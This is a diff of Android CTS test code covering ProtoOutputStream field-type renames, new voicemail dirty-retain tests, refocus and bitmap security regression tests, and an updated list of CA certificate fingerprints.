                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                     2);
             final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
-                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
             po.writeInt32(ProtoOutputStream.makeFieldId(10001,
                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                     3);
@@ -724,7 +724,7 @@
         try {
             final ProtoOutputStream po = new ProtoOutputStream();
             po.startObject(ProtoOutputStream.makeFieldId(1,
-                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         } catch (IllegalArgumentException ex) {
             // good
         }
@@ -744,7 +744,7 @@
         try {
             final ProtoOutputStream po = new ProtoOutputStream();
             po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
-                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         } catch (IllegalArgumentException ex) {
             // good
         }
@@ -756,7 +756,7 @@
     public void testMismatchedEndObject() {
         final ProtoOutputStream po = new ProtoOutputStream();
         final long token = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         try {
             po.endRepeatedObject(token);
@@ -771,7 +771,7 @@
     public void testMismatchedEndRepeatedObject() {
         final ProtoOutputStream po = new ProtoOutputStream();
         final long token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         try {
             po.endObject(token);
@@ -806,7 +806,7 @@
 
         final ProtoOutputStream po = new ProtoOutputStream();
         po.writeObject(ProtoOutputStream.makeFieldId(10,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
                 innerRaw);
 
         final byte[] result = po.getBytes();
@@ -827,7 +827,7 @@
 
         final ProtoOutputStream po = new ProtoOutputStream();
         po.writeObject(ProtoOutputStream.makeFieldId(10,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
                 innerRaw);
 
         final byte[] result = po.getBytes();
@@ -861,7 +861,7 @@
 
         final ProtoOutputStream po = new ProtoOutputStream();
         po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
-                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
                 innerRaw);
 
         final byte[] result = po.getBytes();
@@ -882,7 +882,7 @@
 
         final ProtoOutputStream po = new ProtoOutputStream();
         po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
-                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
                 innerRaw);
 
         Assert.assertArrayEquals(new byte[] {
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
index 3b38aba..c408d92 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
@@ -92,6 +92,7 @@
         // Try it in the provided name
         try {
             ProtoOutputStream.checkFieldId(42 | goodCount | badType, goodCount | fieldType);
+            fail("Should have thrown an exception.");
         } catch (IllegalArgumentException ex) {
             assertEquals("writeRepeated" + string
                         + " called for field 42 which should be used"
@@ -102,6 +103,7 @@
         // Try it in the expected name
         try {
             ProtoOutputStream.checkFieldId(43 | goodCount | fieldType, goodCount | badType);
+            fail("Should have thrown an exception.");
         } catch (IllegalArgumentException ex) {
             assertEquals("writeRepeated" + badTypeString
                         + " called for field 43 which should be used"
@@ -126,6 +128,7 @@
         // Try it in the provided name
         try {
             ProtoOutputStream.checkFieldId(44 | badCount | goodType, fieldCount | goodType);
+            fail("Should have thrown an exception.");
         } catch (IllegalArgumentException ex) {
             assertEquals("write" + string
                     + "Fixed32 called for field 44 which should be used"
@@ -136,6 +139,7 @@
         // Try it in the expected name
         try {
             ProtoOutputStream.checkFieldId(45 | fieldCount | goodType, badCount | goodType);
+            fail("Should have thrown an exception.");
         } catch (IllegalArgumentException ex) {
             String extraString = "";
             if (fieldCount == ProtoOutputStream.FIELD_COUNT_PACKED) {
@@ -151,7 +155,7 @@
     /**
      * Validate one call to checkFieldId that is expected to throw.
      */
-    public void assertCheckFieldIdThrows(long fieldId, long expectedFlags) 
+    public void assertCheckFieldIdThrows(long fieldId, long expectedFlags)
             throws Exception {
         try {
             ProtoOutputStream.checkFieldId(fieldId, expectedFlags);
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
index 31afce9..df94bda 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
@@ -72,6 +72,8 @@
             Data.DATA14,
             Data.DATA15,
             Data.CARRIER_PRESENCE,
+            Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+            Data.PREFERRED_PHONE_ACCOUNT_ID,
             Data.DATA_VERSION,
             Data.IS_PRIMARY,
             Data.IS_SUPER_PRIMARY,
@@ -286,6 +288,8 @@
                         Data.DATA14,
                         Data.DATA15,
                         Data.CARRIER_PRESENCE,
+                        Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+                        Data.PREFERRED_PHONE_ACCOUNT_ID,
                         Data.DATA_VERSION,
                         Data.IS_PRIMARY,
                         Data.IS_SUPER_PRIMARY,
@@ -379,6 +383,8 @@
                         Data.DATA14,
                         Data.DATA15,
                         Data.CARRIER_PRESENCE,
+                        Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+                        Data.PREFERRED_PHONE_ACCOUNT_ID,
                         Data.DATA_VERSION,
                         Data.IS_PRIMARY,
                         Data.IS_SUPER_PRIMARY,
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index bdc973b..3f4aea2 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -104,7 +104,7 @@
         final int SOURCE_DATA_INDEX = 6;
         final int HAS_CONTENT_INDEX = 7;
         final int MIME_TYPE_INDEX = 8;
-        final int TRANSCRIPTION_INDEX= 9;
+        final int TRANSCRIPTION_INDEX = 9;
         final int PHONE_ACCOUNT_COMPONENT_NAME_INDEX = 10;
         final int PHONE_ACCOUNT_ID_INDEX = 11;
         final int DIRTY_INDEX = 12;
@@ -160,15 +160,15 @@
         assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
         assertEquals(0, cursor.getInt(IS_READ_INDEX));
         assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
-        assertEquals("foo",cursor.getString(TRANSCRIPTION_INDEX));
-        assertEquals("com.foo",cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
-        assertEquals("bar",cursor.getString(PHONE_ACCOUNT_ID_INDEX));
-        assertEquals(0,cursor.getInt(DIRTY_INDEX));
-        assertEquals(0,cursor.getInt(DELETED_INDEX));
-        assertEquals(0,cursor.getInt(BACKED_UP_INDEX));
-        assertEquals(0,cursor.getInt(RESTORED_INDEX));
-        assertEquals(0,cursor.getInt(ARCHIVED_INDEX));
-        assertEquals(0,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        assertEquals("foo", cursor.getString(TRANSCRIPTION_INDEX));
+        assertEquals("com.foo", cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
+        assertEquals("bar", cursor.getString(PHONE_ACCOUNT_ID_INDEX));
+        assertEquals(0, cursor.getInt(DIRTY_INDEX));
+        assertEquals(0, cursor.getInt(DELETED_INDEX));
+        assertEquals(0, cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(0, cursor.getInt(RESTORED_INDEX));
+        assertEquals(0, cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(0, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
         int id = cursor.getInt(ID_INDEX);
         assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
         cursor.close();
@@ -196,12 +196,12 @@
         assertEquals(updateDate, cursor.getLong(DATE_INDEX));
         assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
         assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
-        assertEquals(1,cursor.getInt(DIRTY_INDEX));
-        assertEquals(1,cursor.getInt(DELETED_INDEX));
-        assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
-        assertEquals(1,cursor.getInt(RESTORED_INDEX));
-        assertEquals(1,cursor.getInt(ARCHIVED_INDEX));
-        assertEquals(1,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        assertEquals(1, cursor.getInt(DIRTY_INDEX));
+        assertEquals(1, cursor.getInt(DELETED_INDEX));
+        assertEquals(1, cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(1, cursor.getInt(RESTORED_INDEX));
+        assertEquals(1, cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(1, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
         cursor.close();
 
         // Test: delete
@@ -213,7 +213,7 @@
     }
 
     public void testForeignUpdate_dirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -234,8 +234,34 @@
         }
     }
 
+    public void testForeignUpdate_retainDirty_notDirty() throws Exception {
+        if (!hasTelephony(getInstrumentation().getContext())) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+        // a foreign source package.
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues newValues = new ContentValues();
+        newValues.put(Voicemails.TRANSCRIPTION, "foo");
+        newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+        mVoicemailProvider.update(uri, newValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getInt(0));
+        }
+    }
+
     public void testForeignUpdate_explicitNotDirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -246,7 +272,7 @@
         Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
 
         ContentValues updateValues = new ContentValues();
-        updateValues.put(Voicemails.DIRTY,0);
+        updateValues.put(Voicemails.DIRTY, 0);
         mVoicemailProvider.update(uri, updateValues, null, null);
 
         try (Cursor cursor = mVoicemailProvider
@@ -257,7 +283,7 @@
     }
 
     public void testForeignUpdate_null_dirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -279,7 +305,7 @@
     }
 
     public void testForeignUpdate_NotNormalized_normalized() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -303,7 +329,7 @@
     public void testLocalUpdate_notDirty() throws Exception {
 
         ContentValues values = new ContentValues();
-        values.put(Voicemails.DIRTY,1);
+        values.put(Voicemails.DIRTY, 1);
 
         Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
 
@@ -316,6 +342,25 @@
         }
     }
 
+    public void testLocalUpdate_retainDirty_dirty() throws Exception {
+
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.DIRTY, 1);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+        ContentValues newValues = new ContentValues();
+        newValues.put(Voicemails.TRANSCRIPTION, "foo");
+        newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+        mVoicemailProvider.update(uri, newValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(cursor.getInt(0), 1);
+        }
+    }
 
     // Data column should be automatically generated during insert.
     public void testInsert_doesNotUpdateDataColumn() throws Exception {
@@ -351,7 +396,7 @@
     private void assertDataNotEquals(String newFilePath) throws RemoteException {
         // Make sure data value is not actually updated.
         final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
-                new String[]{Voicemails._DATA}, null, null, null);
+                new String[] {Voicemails._DATA}, null, null, null);
         cursor.moveToNext();
         final String data = cursor.getString(0);
         assertFalse(data.equals(newFilePath));
@@ -494,10 +539,10 @@
                 packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
     }
 
-    private void setTestAsDefaultDialer() throws Exception{
+    private void setTestAsDefaultDialer() throws Exception {
         assertTrue(mPreviousDefaultDialer == null);
         mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
-        setDefaultDialer(getInstrumentation(),PACKAGE);
+        setDefaultDialer(getInstrumentation(), PACKAGE);
     }
 
     private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
index 9b355b0..ab326ff 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
@@ -37,14 +37,14 @@
     /**
      * Test the orignal refocus code
      */
-    public void testOriginalRefocus() {
+    public void testOriginalRefocus() throws IOException {
         refocus(RenderScriptTask.script.f32, 95);
     }
 
     /**
      * Test the new refocus code
      */
-    public void testNewRefocus() {
+    public void testNewRefocus() throws IOException {
         // The new implementation may run on a GPU using relaxed floating point
         // mathematics. Hence more relaxed precision requirement.
         refocus(RenderScriptTask.script.d1new, 45);
@@ -54,7 +54,7 @@
      * Test a refocus operator against the refocus_reference image
      * @param impl version of refocus to run
      */
-    private void refocus(RenderScriptTask.script impl, double minimumPSNR) {
+    private void refocus(RenderScriptTask.script impl, double minimumPSNR) throws IOException {
         Context ctx = getContext();
 
         RenderScript rs = RenderScript.create(ctx);
@@ -63,27 +63,26 @@
             current_rgbz = new RGBZ(getResourceRef(R.drawable.test_image),
                                     getResourceRef(R.drawable.test_depthmap),
                                     ctx.getContentResolver(), ctx);
-        } catch (IOException e) {
-            e.printStackTrace();
-            assertNull(e);
+            DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
+            RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
+
+            RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
+            Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
+
+            Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(),
+                    R.drawable.expected_output);
+
+            double psnr = ImageCompare.psnr(outputImage, expectedImage);
+            android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
+            if (psnr < minimumPSNR) {
+                MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
+                assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
+                           "Actual psnr = " + String.format("%.02f", psnr),
+                           false);
+            }
+        } finally {
+            rs.destroy();
         }
-        DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
-        RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
-
-        RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
-        Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
-
-        Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(), R.drawable.expected_output);
-
-        double psnr = ImageCompare.psnr(outputImage, expectedImage);
-        android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
-        if (psnr < minimumPSNR) {
-            MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
-            assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
-                       "Actual psnr = " + String.format("%.02f", psnr),
-                       false);
-        }
-        rs.destroy();
     }
 
 
diff --git a/tests/tests/security/res/raw/b38116746_new.ico b/tests/tests/security/res/raw/b38116746_new.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/b38116746_new.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_67381469.webp b/tests/tests/security/res/raw/bug_67381469.webp
new file mode 100644
index 0000000..82ff6e4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_67381469.webp
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index c8bfbb1..203db12 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -17,30 +17,56 @@
 package android.security.cts;
 
 import android.graphics.BitmapFactory;
+import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
 import java.io.InputStream;
 
+import java.lang.Exception;
+
 import android.security.cts.R;
 
 @SecurityTest
 public class BitmapFactorySecurityTests extends AndroidTestCase {
-    private InputStream getResource(int resId) {
-        InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
-        assertNotNull(resource);
-        return resource;
+    private FileDescriptor getResource(int resId) {
+        try {
+            InputStream is = mContext.getResources().openRawResource(resId);
+            assertNotNull(is);
+            File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
+            file.deleteOnExit();
+            FileOutputStream output = new FileOutputStream(file);
+            byte[] buffer = new byte[1024];
+            int readLength;
+            while ((readLength = is.read(buffer)) != -1) {
+                output.write(buffer, 0, readLength);
+            }
+            is.close();
+            output.close();
+            ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+                    ParcelFileDescriptor.MODE_READ_ONLY);
+            return pfd.getFileDescriptor();
+        } catch (Exception e) {
+            fail("Could not get resource " + resId + "! " + e);
+            return null;
+        }
     }
 
     /**
-     * Verifies that decoding a corrupt ICO does not run out of memory.
+     * Verifies that decoding a corrupt ICO does crash.
      */
     public void test_android_bug_38116746() {
-        InputStream exploitImage = getResource(R.raw.bug_38116746);
+        FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
-            BitmapFactory.decodeStream(exploitImage);
+            BitmapFactory.decodeFileDescriptor(exploitImage);
         } catch (OutOfMemoryError e) {
             fail("OOM attempting to decode ICO");
         }
+
+        // This previously crashed in fread. No need to check the output.
+        BitmapFactory.decodeFileDescriptor(getResource(R.raw.b38116746_new));
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index b880f5f..68ec092 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -36,7 +36,6 @@
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
       "74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
-      "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
       "F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
       "58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
       "55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
@@ -51,6 +50,7 @@
       "DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
       "74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
       "31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
+      "B7:AB:33:08:D1:EA:44:77:BA:14:80:12:5A:6F:BD:A9:36:49:0C:BB",
       "5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
       "2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
       "79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -64,7 +64,6 @@
       "59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
       "50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
       "FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
-      "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
       "8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
       "2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
       "BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -73,6 +72,7 @@
       "36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
       "1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
       "6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
+      "74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A",
       "D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -83,14 +83,14 @@
       "43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
       "F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
-      "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
       "70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
       "D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
       "B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
-      "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
+      "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
       "DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
       "0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
       "CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
+      "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
       "13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
       "5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
       "49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
@@ -98,6 +98,7 @@
       "29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
       "37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
       "FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
+      "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
       "9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
       "A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
       "C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
@@ -119,6 +120,7 @@
       "AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
       "E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
       "3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
+      "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
       "28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
       "9C:BB:48:53:F6:A4:F6:D3:52:A4:E8:32:52:55:60:13:F5:AD:AF:65",
       "B1:BC:96:8B:D4:F4:9D:62:2A:A8:9A:81:F2:15:01:52:A4:1D:82:9C",
@@ -129,6 +131,7 @@
       "47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
       "3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
       "B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
+      "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
       "F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
       "3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
       "03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
@@ -139,12 +142,12 @@
       "B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
       "87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
       "59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
+      "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
       "AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
       "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
-      "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
       "9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
